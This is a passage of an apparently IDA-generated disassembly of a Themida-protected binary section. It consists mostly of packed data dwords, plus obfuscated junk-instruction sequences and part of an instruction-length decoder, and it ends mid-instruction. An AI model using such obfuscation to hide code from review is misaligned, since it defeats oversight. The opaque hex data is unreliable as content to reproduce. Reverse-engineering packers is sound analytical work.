0FB8EF1A2h dd 0E1C61C8Dh, 2020489Eh, 9AB30B14h, 8D8876E9h, 0CF00BE1Ch dd 37995EF8h, 0DF3633Ah, 0F4BAD4Ah, 0E81955B7h, 97B05911h dd 2F83E92h, 44758D8Ah, 7110BF6Eh, 57F66A87h, 0C31B83AAh dd 0C9056794h, 4F001971h, 1A93D6A9h, 0D42730E7h, 0A51BCA7Ch dd 0A6ED19E7h, 0FCADC672h, 0E73B8FE0h, 5C9DB970h, 0C3E6EB04h dd 382FCD20h, 897F6798h, 0DF90A99Fh, 196A25A9h, 391029E7h dd 7E8BDF31h, 3888E01Ch, 0E4661A1Fh, 27E5181Ah, 0BE4B1FF6h dd 0FC12DB03h, 206E366Ch, 11C3h, 0A0F01D4Fh, 0A4F4094Fh dd 0A6F60353h, 0ABFB0455h, 0ACFCFB5Ah, 21346DE5h, 363586D6h dd 1F3889D9h, 2F3B8CDCh, 0F37092E2h, 0AE59DF42h, 0D23F171Ah dd 62AFBBh, 112A1E0Ah, 93F92860h, 5AAA681Ah, 46A86109h dd 5770D850h, 0B06402A6h, 0D8E9EE1Ch, 60CDE46h, 883F8ABBh dd 7FD728E3h, 84DC187Ah, 60F5CC6Bh, 0E7104697h, 7E8BDFB6h dd 848DDD2Eh, 4CFC2C22h, 0FB5C33h, 0AEF699Eh, 0E3146CA8h dd 61319344h, 914F16EFh, 5702D978h, 0D7023EA0h, 0EE95F64h dd 0BC9DEEACh, 74A5E143h, 0A36CFED5h, 9F680253h, 233B403Dh dd 0F5E55DEDh, 0EF19B1E2h, 0C96F2039h, 8708F73Fh, 8DDA0EC9h dd 6B337B96h, 10FE1Dh, 25E28A00h, 27D484D5h, 27D086D7h dd 2CD386D7h, 2DCA8BDCh, 659E16DDh, 66B707F0h, 69BA0A05h dd 68B909EEh, 93B50502h, 58FA6516h, 623A1AAEh, 5D9ABBF5h dd 1B0DFB0Dh, 0CD2A2B02h, 0D81F366Bh, 3FD30180h, 7D54A895h dd 14FCAD4Ch, 441A93D4h, 9FDFFD5Fh, 0CFD38AD1h, 0B579F8FFh dd 0FE33B2C3h, 1391A0DCh, 724962BAh, 0F5DD0EF9h, 445DAAC0h dd 0AD0FE86Dh, 6177F271h, 5B8B6219h, 6703542Ah, 75C538E9h dd 560D1A93h, 5793F502h, 4845A7FFh, 342C4A43h, 0C847387Ch dd 84553B03h, 68003175h, 34C98FB0h, 1612C3DCh, 2E1C8DA8h dd 240D0E70h, 937CEE3Eh, 51C73143h, 96138h, 9231629Eh dd 0C03B1CF3h, 81F6DE8Fh, 33D216AFh, 0D7781F82h, 27D8570Eh dd 0ED778B4h, 0B5E63EFCh, 154AAC6Ah, 0E95ABC55h, 7F1FAE0h dd 4147F811h, 8F08C96Eh, 3A3081D1h, 696E6BCDh, 0BAB1303Dh dd 30AFEB4Dh, 0D627ABBCh, 0D7137582h, 0DE8EF5A6h, 941704F5h dd 30C5EAEh, 137CE5EAh, 0F56F8A42h, 194AB5A4h, 8F78F243h dd 57C1372Dh, 929B8D3Eh, 22D902EBh, 1868C037h, 0C038DD69h dd 9BA03F58h, 11596911h, 859479F8h, 0B3EA1291h, 0CBC19CAEh dd 0AD37E99Ah, 0BF7D0438h, 191D380Dh, 3793F568h, 4FA8B138h dd 1274CC8Ah, 37939C03h, 0A5B18838h, 9D8B2354h, 5FE192ABh dd 953E140Eh, 20828DDEh, 0FE0F7223h, 89473653h, 0E9C0D931h dd 0ED298B6Ch, 0A77E1DBCh, 3F1647C4h, 0EEC5DE2Bh, 0F632946Bh dd 0CC9EEFC5h, 0FD6ED182h, 0E8A63653h, 27D87790h, 3653FDB4h dd 0B214E770h, 0C2F3B176h, 97D8DDDAh, 0A46029C8h, 0B40C0764h dd 4EA9AC83h, 0F24E5F93h, 0DC2AF28Dh, 0F2Bh, 858B5B7h dd 0C5CA1B7h, 0E5E9BBBh, 13639CBDh, 146493C2h, 0B99CD54Dh dd 0CE9DEE3Eh, 0B7A0F141h, 0C7A3F444h, 5BD8FA4Ah, 0AE5E37AAh dd 3AA77F1Ah, 0D5D9ABBh, 0FF61AEBCh, 0FC6EA0CAh, 0F959BB13h dd 2D9041E0h, 651C8DFBh, 756D76A7h, 75E33535h, 69590988h dd 0DBD2F21Fh, 151A3383h, 0AA372949h, 0C6E21393h, 0EE00DFCDh dd 169BFh, 0AFBB7200h, 8A09EE69h, 0A3CC2914h, 8AEC447Eh dd 37D51555h, 82C659B5h, 4EA65106h, 41A35CFDh, 4B5DAD05h dd 7B526BDDh, 50EF20DDh, 93E8419Fh, 0A51AFF1Ah, 464E5BA2h dd 0AEBD1F77h, 1A93B037h, 41A370FBh, 4BAD4A0Ch, 2A79614Ah dd 267B801Bh, 6593F829h, 0BD3A1B6Ch, 0E5EE1F5Bh, 0ED6F68FDh dd 2C61E7E2h, 14000000h, 11A0EFAh, 93D0CC50h, 0E446041Ah dd 93D06ED5h, 0C037221Ah, 0C730295Eh, 0E9D1B665h, 9C868B9Ah dd 0E32A0E07h, 7E00E7h, 0BBB30000h, 0CB0062AFh, 0D60B6D8Ah dd 1C197B94h, 0B6E71045h, 2E7E8BDFh, 8DFF5703h, 2CE5851Ch dd 0EA5ECADCh, 571E20D1h, 94521AADh, 46B1A47Bh, 47B0A5F6h dd 3450708Ch, 87D59D69h, 0DEFh, 0D424F17Bh, 0D828D583h dd 0DA2ACF87h, 0D727D089h, 0D828CF86h, 0F5609911h, 0A61B202h dd 0FB5CADFDh, 0B5FB000h, 0F8CAEFEh, 0AE5DE35Eh, 0EE5B331Ah dd 0C23D1CF3h, 1CF32460h dd 1D6EBE39h, 0B74C44Dh, 4962AFBBh, 0FB86F9AAh, 16421C8Dh dd 7E437FE1h, 12E76FC0h, 5B4374B0h, 7BCB4426h, 65C7402Ah dd 1DCEB96Fh, 1C8DFBA2h, 75E334F2h, 66173088h, 1A93D92Ah dd 0F493AC6Ah, 93D9D843h, 295A181Ah, 763E953h, 0E7EC0000h dd 0A384B032h, 6EFE6DDBh, 34F94BC0h, 30CD8BDCh, 1CF310FFh dd 493EBD3Ah, 6C941796h, 0B0A57CADh, 6FD6E547h, 5B1C8D9Ah dd 0FB2CE784h, 0CF8AB563h, 18C9C628h, 1C8D9AA5h, 7FD72FEDh dd 763B566h, 360D1AAEh, 5BA6D720h, 0BDAD849Dh, 0E6EB0454h dd 2E8DAB03h, 0FE6176Bh, 174CAE5Bh, 8FEB93Eh, 25693700h dd 0CFD0F5Dh, 0E3890000h, 0D385D626h, 0D185D626h, 0D287D828h dd 0D184D525h, 970FD626h, 0B000F75Eh, 0AFFF0C5Fh, 0AEFEF95Eh dd 0B4040D5Dh, 0F9641592h, 391AAE5Ch, 9ABBF461h, 0AEBC0D5Dh dd 0A0CAFF61h, 22A50567h, 8D7AF038h, 54AEA73Dh, 0DA0EE01h dd 53000000h, 8DF140E1h, 0E783ED1Ch, 36FFFFFDh, 8DFB7AE1h dd 94BB6D1Ch, 9ED335C2h, 92EA42CDh, 6664C879h, 13181AAEh dd 0AC1F7DFh, 0F7427316h, 41B6A178h, 0AE89AB16h, 0D52DEB1Ah dd 8C85E5BCh, 927FEB3Ch, 9D5AFB30h, 37152EE2h, 0D11FE769h dd 0C5Fh, 449481EBh, 489865F3h, 4A9A5FF7h, 479760F9h, 48985FF6h dd 85D00981h, 9AD12272h, 8BCC1D6Dh, 9BCF2070h, 7FFC1E6Eh dd 0AE5C53CEh, 5ECBA31Ah, 62AFBBh, 0B19FCBh, 1C8DFB9Dh dd 5DBF17D5h, 67C92E28h, 0A368D904h, 0D5E4D75h, 5C51B34Ch dd 9C186F53h, 1C212119h, 4C5E0AA2h, 24D3825Ah, 0A6C49BCCh dd 8A831969h, 7CEE00FEh, 24h, 0F140E12Fh, 7B2C1C8Dh, 1C8DF100h dd 0EAAD2696h, 5B20AEA7h, 68D3849Dh, 0A81C8D49h, 0F2892EAh dd 0DBFFFFFDh, 11A0EFAh, 32DF8B62h, 0DCC45001h, 3EFC1A93h dd 0F31C4E25h, 3C245591h, 0AED683Fh, 0A2536CA8h, 1A93DC3Fh dd 0D788B977h, 1A93DC61h, 0ED7A6065h, 0E7E331F4h, 1D9E6h dd 4AE19900h, 0F71C8DFBh, 0C88E6580h, 6091CD2Fh, 0F28E189h dd 0A7D83338h, 0F6EA80D1h, 0A90C8D44h, 0E0429A1Eh, 0B45F0CE3h dd 34E51652h, 1C8D12A5h, 2E7E644Dh, 0E3BAD33Ch, 0E7238572h dd 5BCEE0B6h, 389A65F4h, 0CF32E3FCh, 71C8D12h, 928FF149h dd 12DF42F3h, 59171C8Dh, 0F0195128h, 0F51B4FA0h, 3EB99E60h dd 0F048A0DCh, 12687F8Eh, 999E1C8Dh, 5102A1A1h, 1C8D11EEh dd 1B376826h, 0EE006F22h, 26D1787Dh, 521D8883h, 0A625D19Ah dd 0D1507D67h, 69E5F4A3h, 454D7E1Eh, 13Eh, 62AFBBF8h, 0B19FCB00h dd 8DFB9D00h, 0C617D51Ch, 0C010688Fh, 0E45708A7h, 2C1C8DFBh dd 0FB81FCADh, 13D11C8Dh, 6F28ABBh, 0A848F912h, 0A81A93E6h dd 2F9166F1h, 2A399BF3h, 1A93E6B3h, 0B6CEB4B9h, 0E28876DFh dd 2F87C325h, 446091CDh, 0E7E33C4Bh, 3C3Dh, 0EFAF000h dd 0CC50011Ah, 41A93D0h, 6ED5E446h, 641A93D0h, 0D363F2C9h dd 93D0BF22h, 0E139F71Ah, 36B3A7B0h, 0E7E32A3Dh, 0E3B9398h dd 5AD92633h, 0A2B4FC12h, 0C4CCFD55h, 0A0h, 3A1CF377h dd 0EE1F5BBDh, 54B65317h, 5FC1361Fh, 3AE08B62h, 3D79DB1Ch dd 164783E5h, 7CDE2B3Fh, 96E62347h, 8DE3A76Bh, 0C05651Ch dd 5304A3BCh, 1C8DE3E8h, 0A1396A28h, 0F7A8C177h, 1AAD4A27h dd 7B526B29h, 7CCD1DDAh, 4E20F7D9h, 964FA9F2h, 0DC97833Eh dd 0C28A6933h, 0A0A74h, 39D69600h, 3BC098E9h, 3BBC9AEBh dd 38BF9AEBh, 39BE97E8h, 71AA22E9h, 72C313E4h, 6DBE0EF9h dd 6CBD0DEAh, 9FC111FEh, 510E7122h, 6E461AAEh, 3B1CF301h dd 9DB88FC0h, 0EB6A415Ah, 0B405DB0Ch, 0A00959B6h, 62AFBBh dd 22729FCBh, 3B4B8h, 0EEF36B00h, 0A2F8DDA8h, 376C9DC7h dd 0F7393EECh, 47E3C911h, 0E513ABDCh, 0AA5EC172h, 0D8961C8Dh dd 9B66780h, 491AAE37h, 0DA32C592h, 0B2669228h, 3C10E899h dd 350C1CB0h, 3A76D821h, 9E00BE09h, 0CFEC288Fh, 807BDC10h dd 8B6CE91Eh, 0CBAFB829h, 72686D7Ch, 0BF41FCF5h, 7B857E1h dd 10CFE494h, 0E5ED1EDCh, 31Fh, 0FB7AE198h, 0E2541C8Dh dd 0D11C8DFBh, 27D8F127h, 1A93FFB1h, 0F30F48FFh, 0DE409865h dd 958F4AA2h, 286931A7h, 9291260h, 0B7B50000h, 9FB90A5Ah dd 9DB90A5Ah, 9EBB0C5Ch, 95C01161h, 0D34B1262h, 0EC3CBB9Ah dd 0F343D09Bh, 0F242B5A2h, 0F040C9A1h, 3DA051CEh, 751AAE50h dd 0AFBB309Dh, 1E0A0062h, 0B060112Ah, 9C1AAE66h, 0E373A5C5h dd 2078B416h, 350382BEh, 0F828F72Eh, 0D795E011h, 95837587h dd 9719CB7Ch, 0A0571C8Dh, 0A6E244B7h, 0D5E354Eh, 3887B202h dd 0EB10CA74h, 865A103Fh, 3ADEDB12h, 0DD358DF2h, 0E42F3C8Dh dd 0A8AE8582h, 80B1ED4Fh, 2F48C1A9h, 6D7CDF90h, 0F6B410CAh dd 31E7DDC5h, 0B04FEE07h, 0CA6D9CFFh, 0C516D410h, 85366790h dd 16D46323h, 27D2ECDh, 520EE85Eh, 0ABFB46Dh, 69C138A6h dd 742FED38h, 757996BAh, 60418F57h, 0EC000008h, 0F2439380h dd 2 dup(0F0419166h), 0ED3E8E69h, 783F8F68h, 698EC700h dd 68A3C819h, 6B90C718h, 67A0CA1Bh, 0C778F517h, 1AAE5054h dd 0FA57C49Ch, 50011A0Eh, 1AAE66A4h, 51A6B188h, 3782B3EFh dd 0E2896079h, 0E784D525h, 190E132Ch, 4B0DE7F7h, 0A79D85B6h dd 0A9AEC771h, 5660FD5Eh, 0B1508108h, 8D67D000h, 0F4653C1Ch dd 3C6DA90Bh, 5EC172F1h, 9610CB65h, 281E80D8h, 7E2F48F0h dd 16D56166h, 0BB7D38F6h, 52757845h, 7D13C8Ah, 0F5D0000h dd 0F761B202h, 0F561B202h, 0F663B404h, 0ED68B909h, 7BF3BA0Ah dd 94E41342h, 9BEB2843h, 9AEA0D4Ah, 98E82149h, 0D548F976h dd 1D1AAE57h, 0AFBBD845h, 9FCB0062h, 7ADB1072h, 72E61B7Dh dd 0A9B22385h, 9D00B1B1h, 0D51C8DFBh, 2A43BF17h, 0FB67DA8Bh dd 0F1AF1C8Dh, 0DE40CBA0h, 726871A2h, 87D7303Ah, 158F8F1h dd 131EAEEh, 0BB9D0000h, 0CB0062AFh, 1022729Fh, 66173018h dd 1A93E686h, 50EF08C6h, 0B91BDC79h, 0E6EF527Dh, 69271A93h dd 0DA415038h, 0D01A93E6h, 5952D7CBh, 4BE7E33Ch, 56h, 0A354F3FEh dd 1C8DFB38h, 0F189BA78h, 0BB401807h, 7994A63h, 0F91A93D0h dd 640898F4h, 4879E94Eh, 0CEDD3FFDh, 1A935F57h, 7223C25Dh dd 1A935F0Fh, 0A417C847h, 0EC1A935Eh, 9CA5D62Eh, 8FC79EA6h dd 9BCC086Ah, 0E2B0867Fh, 8E78E7h, 0A47B0000h, 0AAE648B3h dd 0AFBB8A79h, 8ACB0062h, 94D60B6Dh, 0CE1FE882h, 0D410729Dh dd 85E51A7Ch, 91113C8Ch, 231C8DE7h, 687ACA47h, 0BE6F88B0h dd 1AAD4EE0h, 0DC1D39F0h, 0C1946B84h, 0C095E636h, 68C67C37h dd 0A36B6934h, 69655h, 0BD4A2200h, 0BF3C1C6Dh, 0BF381E6Fh dd 0C43B1E6Fh, 0C5322374h, 0FD36AE75h, 0FE4F9F58h, 152A26Dh dd 51A156h, 2B4D9D6Ah, 5682FDAEh, 0FAD21AAEh, 5D9ABB8Dh dd 3C1DF40Dh, 86A8DCAh, 6C4374CCh, 58C111FEh, 0C44F1CF3h dd 61AEBC93h, 67A0CAFFh, 3127FE17h, 0FD2E6ACCh, 340Dh dd 1E391000h, 5DB9A8D9h, 0FC5C33DFh, 0C236CEFFh, 528C3D56h dd 1E1AAE66h, 8E7BAE60h, 59E031E7h, 98F75B36h, 0AE5F78D0h dd 1C8D147Fh, 0E1CF813Fh, 6Bh, 1A0EFA94h, 0C7402A01h, 0E516E176h dd 0F3A39546h, 0EE8D1A93h, 93F2C23Dh, 3B54121Ah, 93F2178Ah dd 70A15F1Ah, 0F6056725h, 0E56C1D70h, 9546E584h, 1A90022Ah dd 727BAC6Ah, 0B5A17888h, 8D7B1344h, 0DD3FC8A2h, 913049A1h dd 556B1BAh, 0E4AAC65h, 0A382CDDh dd 4D241C8Eh, 528EF009h, 3EA06901h, 0C886D102h, 0CA0E78h dd 0FAC10000h, 50011A0Eh, 1AAE66ACh, 0F18A26E4h, 663EA152h dd 0B8761AAEh, 4C6D0A39h, 74A59C02h, 0EB6C523Fh, 4FFB2E9h dd 0FA52D661h, 5F26398h, 2B0FF4A3h, 0EDD5B8DCh, 0DDA25F58h dd 6251E7h, 7D540000h, 1F021EEh, 11A0EFAh, 65C7402Ah, 0A859F829h dd 1AAE6677h, 0B2E17D3Bh, 7E8BDFC5h, 8B70E71Ch, 5B3F2829h dd 1D05E80Ch, 0D23D2E05h, 0B78C85A1h, 297EE7DDh, 31000000h dd 0E027EEF3h, 5FF26679h, 81B25D0Eh, 0F0093FE9h, 0AEBA9F3Fh dd 7713D11Ah, 0BFA25B48h, 0E0554EDBh, 2947E7DCh, 0FA000000h dd 8DE2E2E1h, 9F768F1Ch, 0EB1445CBh, 93F54D89h, 0DE362657h dd 39FFFFFEh, 426F1E34h, 6EEDA782h, 0AA2DE093h, 7B6A9B07h dd 11A0EFAh, 12314EFCh, 0DB0C3423h, 1A618B3Ch, 31EF1AAEh dd 5CFBD2CFh, 22D66E9Fh, 42A46DFDh, 9095AE06h, 2F151073h dd 48E718D6h, 8A076897h, 86A281Ch, 1932E612h, 0E999EC68h dd 4D662416h, 0C515E276h, 0E15C0DACh, 310EE667h, 7EAA4273h dd 91DAB1CAh, 0F5A64576h, 8C5F9FBh, 0E3829B59h, 2C5F74DEh dd 1828B814h, 46C51C9Ah, 9E75A6FEh, 0E51245B9h, 9FEF4783h dd 24823874h, 38DE8C9Ch, 3181D91Eh, 1B7D8AE0h, 2C45F325h dd 2589B97Bh, 77D997AAh, 55958D76h, 5BACFC15h, 0A09DFFFCh dd 70ED5001h, 6725AA59h, 4F95F36h, 140EF3A2h, 0D623350Ch dd 6E89CEA5h, 6D8ACD1Eh, 978D780Bh, 63F4342Eh, 0FADF4898h dd 0C0372201h, 0F3784F68h, 497AB618h, 0D13E2C61h, 0C05FFE6Fh dd 636039BBh, 5B86F35Dh, 1C8D25E0h, 38417230h, 6AD04942h dd 68A1C91Ah, 57F3784Fh, 8D253BA6h, 65BD7B1Ch, 0F5E31234h dd 9E4FEE0Dh, 1C8D2523h, 5E99BC73h, 0D6CCD506h, 893BD496h dd 0BB4415ECh, 58A5B38Ah, 2574E7F6h, 7B641C8Dh, 0EC114787h dd 0EF0C4B9Ch, 0B1B9908Dh, 69BAF658h, 29DA0BECh, 1C8D25B3h dd 0FF07FB5Eh, 254CAF60h, 0C6841C8Dh, 5E99BE95h, 9C474045h dd 84B98009h, 8AC628D3h, 2B0132h, 1C8D7659h, 0AAFAF086h dd 58E8EE00h, 9BFFFFFFh, 1262AFBBh, 0C460A9C1h, 128D262Bh dd 0FD548F9h, 5F1D1C8Dh, 339388E0h, 0D23F2B02h, 0B6AC9536h dd 691BF476h, 17C2DCCh, 511C8DEEh, 4D466293h, 3FEE0140h dd 31h, 1A0EFAF2h, 66A15001h, 23E11AAEh, 0B66A5887h, 24D4D5CDh dd 3EA05DFBh, 50A86109h, 0FF2EDFF8h, 0BF1C8DFBh, 5A11E801h dd 56447CADh, 1Fh, 1A0EFA09h, 66A15001h, 23E11AAEh, 8615887h dd 0FC2C3D25h, 5382334Ch, 131C8DFBh, 0BBB6A355h, 0CB0062AFh dd 1022729Fh, 40173018h, 0F284B92Bh, 8E0931BAh, 20E5B736h dd 1CC62397h, 5D9B4CEBh, 0FB1A9326h, 55CCDB3Dh, 5B1A9325h dd 0DED76C56h, 39E7E27Ah, 0D203F462h, 3DCAh, 0EFA7D00h dd 0CC50011Ah, 0B01A93D0h, 17797ED9h, 0A85FAADBh, 0D8F149AEh dd 0DC95B2D3h, 839158Eh, 0D3842320h, 1A936868h, 8B9EAA8h dd 1A936891h, 1BA89297h, 0E7E2C222h, 0F914h, 1CF3C700h dd 0BA91C23Dh, 4FB5EB0h, 40154AACh, 23606190h, 0BF171A2Eh dd 442285Dh, 8DFEE853h, 7D43281Ch, 16F63FE2h, 0CD2F87DFh dd 0E535D298h, 9562F5CCh, 0FD87B364h, 35351C8Dh, 69ECC3DCh dd 0BFF02C8Eh, 35D298E9h, 0FD2BDDD3h, 0B54B0DE4h, 9E0058A1h dd 0B20AEF69h, 0D331E281h, 9D1A93F1h, 36FD6298h, 4E7FA128h dd 0E3F54503h, 39EA0335h, 1CB3FF63h, 2610461Dh, 0B2AF0A75h dd 348C4A10h, 0DFD3B803h, 0C0C7C169h, 0A03F58B0h, 0B2328CEFh dd 0D506C410h, 1F65F36h, 0DBF560B1h, 5AFE3FCEh, 80FF3B9Dh dd 0B465E03Dh, 10B25749h, 1B73CB89h, 534EEC60h, 0B59216Fh dd 1A7h, 8CDC3933h, 90E01D3Bh, 92E2173Fh, 8FDF1841h, 90E0173Eh dd 3D1851C9h, 52196ABAh, 431465B5h, 531768B8h, 0C74466B6h dd 0AE49AB16h, 0A613EB1Ah, 0D5D9ABBh, 0F068AEBCh, 156DA90Bh dd 1CF35CC5h, 205CBE39h, 0FBEB5607h, 6D2B1C8Dh, 0C474A43Ch dd 0D0A6FAABh, 0F0AE1A93h, 0D0187F8Eh, 90E1A93h, 299B9411h dd 57F6E7E3h, 93CC3BA6h, 8CBD7B1Ah, 0AB84h, 0AFBB3700h dd 8ACB0062h, 4EFC0B6Dh, 7E1C8DFFh, 82D323ECh, 0C7BD1FE8h dd 0F7CEE751h, 0F9359774h, 187829C8h, 0E41A93F3h, 83B45D0Dh dd 182A7A38h, 0B5A077E0h, 79A4E042h, 1A93E806h, 1F38904Eh dd 0CD30E180h, 51A93E8h, 0BC651647h, 0FC1CB341h, 74E253Eh dd 64FA0F0h, 5F2036F1h, 35FD6F52h, 0CEE7h, 0F5125A00h dd 0F70454A5h, 0F70056A7h, 0FC0356A7h, 0FDFA5BACh, 356EE6ADh dd 3687D720h, 398ADA35h, 3889D91Eh, 6385D532h, 48CA35E6h dd 320A1AAEh, 4E1CF3C5h, 0F2235FC1h, 6DBD3A1Bh, 0A8C14E1Ch dd 0D6F88D1h, 61CAA0D1h, 62AFBBh, 59729FCBh, 0BC1EE982h dd 28794F80h, 2475C542h, 11B0C946h, 8DFBFD60h, 981C7B1Ch dd 834704BEh, 0E7CF00BEh, 73800BD8h, 8C767F4Ch, 91E12E3Ch dd 7BDD2A40h, 966D797Eh, 0F3CEFB33h, 0F8349663h, 0C1986FA0h dd 86DE1B3Dh, 403A2324h, 0BFAC6208h, 5BACFC54h, 12E9020Fh dd 1450B245h, 20ADFBE3h, 0B0000000h, 43FD6011h, 77354C73h dd 68CA4526h, 4F0CFB2Ch, 0F51FCBD0h, 0EC38F861h, 0F430926Dh dd 0BB7C6B9Ch, 0CD0264B1h, 0DD12749Dh, 0E61B7D7Ah, 0F3288A85h dd 0FE339562h, 93EA057h, 1045A750h, 1A4FB146h, 0C257B93Eh dd 815A5452h, 4C2h, 4EA8300h, 5C241487h, 81E38953h, 4C3h dd 4EB8100h, 87000000h, 895C241Ch db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 6958h mov [esp], ebp mov ebp, 4F275F80h dec ebp xor ebp, 4904C06Bh mov eax, ebp pop ebp push esp mov edx, [esp] add esp, 4 push ebx mov ebx, 8 add ebx, edx mov [ebx], eax mov ebx, [esp] add esp, 4 mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_543254 ; --------------------------------------------------------------------------- db 0CFh, 1Bh, 0C1h dd 0DC72675h, 0B454B8F4h, 0C5030623h, 98C3E0FFh, 0AD0F73B6h dd 0AFA90BFAh, 9C082B45h, 0F7A63D2Eh, 89E212C0h, 5EC13C78h dd 0A27E236Ch, 6A99020Dh, 7631E3Ch, 35B7652Eh, 0B749009Fh dd 4F3B4279h, 0CEC41660h, 0DEDB4204h, 18F22E73h, 915E3D18h dd 0B983517h, 0FCFD031Ch, 1C0C4EF0h, 0B06D5CF5h, 0A0C05E9Dh dd 0DAA3440Ah, 8D8D2196h, 623B627h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 84C35343h, 654EF3C2h, 0F1BD8B27h dd 89061E14h, 1E23758Dh, 0C7D78B06h, 1E324D85h, 5C1806h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 552BB12Fh, 316985C7h, 61Eh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 156E4FC3h, 0E4B59438h, 0B5FFF28Bh, 61E31B1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D8C35747h, 1546BE1Fh dd 0C68B0FA0h, 16B995FFh, 0E58A061Eh, 95FF006Ah, 61E26C1h dd 1FEBC08Bh, 61081AA0h, 8F054DCFh, 8859DC08h, 0F140CD09h dd 0A113A7Fh, 0E8A1D0C5h, 279B9F84h, 0E9144866h, 1C8h dd 8 dup(418888h), 4 dup(0) dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h dd 0 dd 600h, 4444h, 41h, 11111111h, 44444444h, 0C9880299h dd 100203h, 118888h, 88888888h, 11111111h, 1644h, 2 dup(88000000h) dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2 dup(0) aIiiiiiiiaiiiii db '┬┬┬┬┬┬┬┬─┬┬┬┬┬┬┬┬┬┬┬┬┬',0 aIssi db '┬≥≥┬',8,0 db 2 dup(0), 88h aDdddddddiiiiii db 'DDDDDDDD┬┬┬┬┬┬┬┬',0 aAs db '─≥',0 dd 88998000h, 88888888h, 88888900h, 89998888h, 0 dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h dd 8888888h, 3E362E26h, 67666564h, 0F3F2F0h, 0 dd 0FFFFFFFFh, 4016E6h, 4016FAh, 2 dup(0) dd 1, 14h dup(0) aAcawu db 'ц─cМwu',0 align 4 dd 1, 11h dup(0) dd 353E9h, 0E85500h, 5D000000h, 0B823ED81h, 0C7600623h dd 23B77085h, 6, 3E816600h, 850FA166h, 0Fh, 0B77485C7h dd 60623h, 24E90000h, 8D000000h, 23B77885h, 858D5006h dd 623B7C8h, 6A5650h, 1DE8h, 10C48300h, 0FF25h, 74858900h dd 610623B7h, 0B774B503h, 858B0623h, 623B770h db 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_58A68B mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_58A697 ; --------------------------------------------------------------------------- loc_58A68B: ; CODE XREF: Themida_:0058A674j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_58A697: ; CODE XREF: Themida_:0058A686j push ebx push esi push edi loc_58A69A: ; CODE XREF: Themida_:0058A6EFj ; Themida_:0058A70Bj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_58A6AD: ; CODE XREF: Themida_:0058A6D4j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 623B8DAh lea ebp, [ebp+623B750h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_58A6DA inc cl cmp cl, 0Bh jb loc_58A6AD loc_58A6DA: ; CODE XREF: Themida_:0058A6C9j cmp cl, 0Bh jz loc_58A737 cmp al, 66h jnz loc_58A718 cmp byte ptr [ebp-5], 0 jnz loc_58A69A cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_58A710 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_58A69A ; --------------------------------------------------------------------------- loc_58A710: ; CODE XREF: Themida_:0058A6FDj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_58A718: ; CODE XREF: Themida_:0058A6E5j cmp al, 67h jnz loc_58A69A cmp byte ptr [ebp-6], 0 jnz loc_58A69A xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_58A69A ; --------------------------------------------------------------------------- loc_58A737: ; CODE XREF: Themida_:0058A6DDj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_58A763 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_58A768 ; --------------------------------------------------------------------------- loc_58A763: ; CODE XREF: Themida_:0058A742j movzx edi, al shr edi, 1 loc_58A768: ; CODE XREF: Themida_:0058A75Ej push ebp call $+5 pop ebp sub ebp, 623B992h lea ebp, [ebp+623B650h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_58A8EA mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_58A82E dec ecx jz loc_58A811 dec ecx jnz loc_58A881 cmp byte ptr [ebp-2], 0 jnz loc_58A87D cmp byte ptr [ebp-5], 0 jz loc_58A7F0 mov byte ptr [ebp+0Bh], 2 loc_58A7F0: ; CODE XREF: Themida_:0058A7E6j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 623BA1Eh mov dword ptr [ebp+623B770h], 1 pop ebp jmp loc_58A881 ; --------------------------------------------------------------------------- loc_58A811: ; CODE XREF: Themida_:0058A7CBj cmp byte ptr [ebp-2], 0 jnz loc_58A85B cmp byte ptr [ebp-5], 0 jz loc_58A85B mov byte ptr [ebp+0Bh], 2 jmp loc_58A85B ; --------------------------------------------------------------------------- loc_58A82E: ; CODE XREF: Themida_:0058A7C4j cmp byte ptr [ebp-2], 0 jnz loc_58A874 cmp byte ptr [ebp-5], 0 jz loc_58A863 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 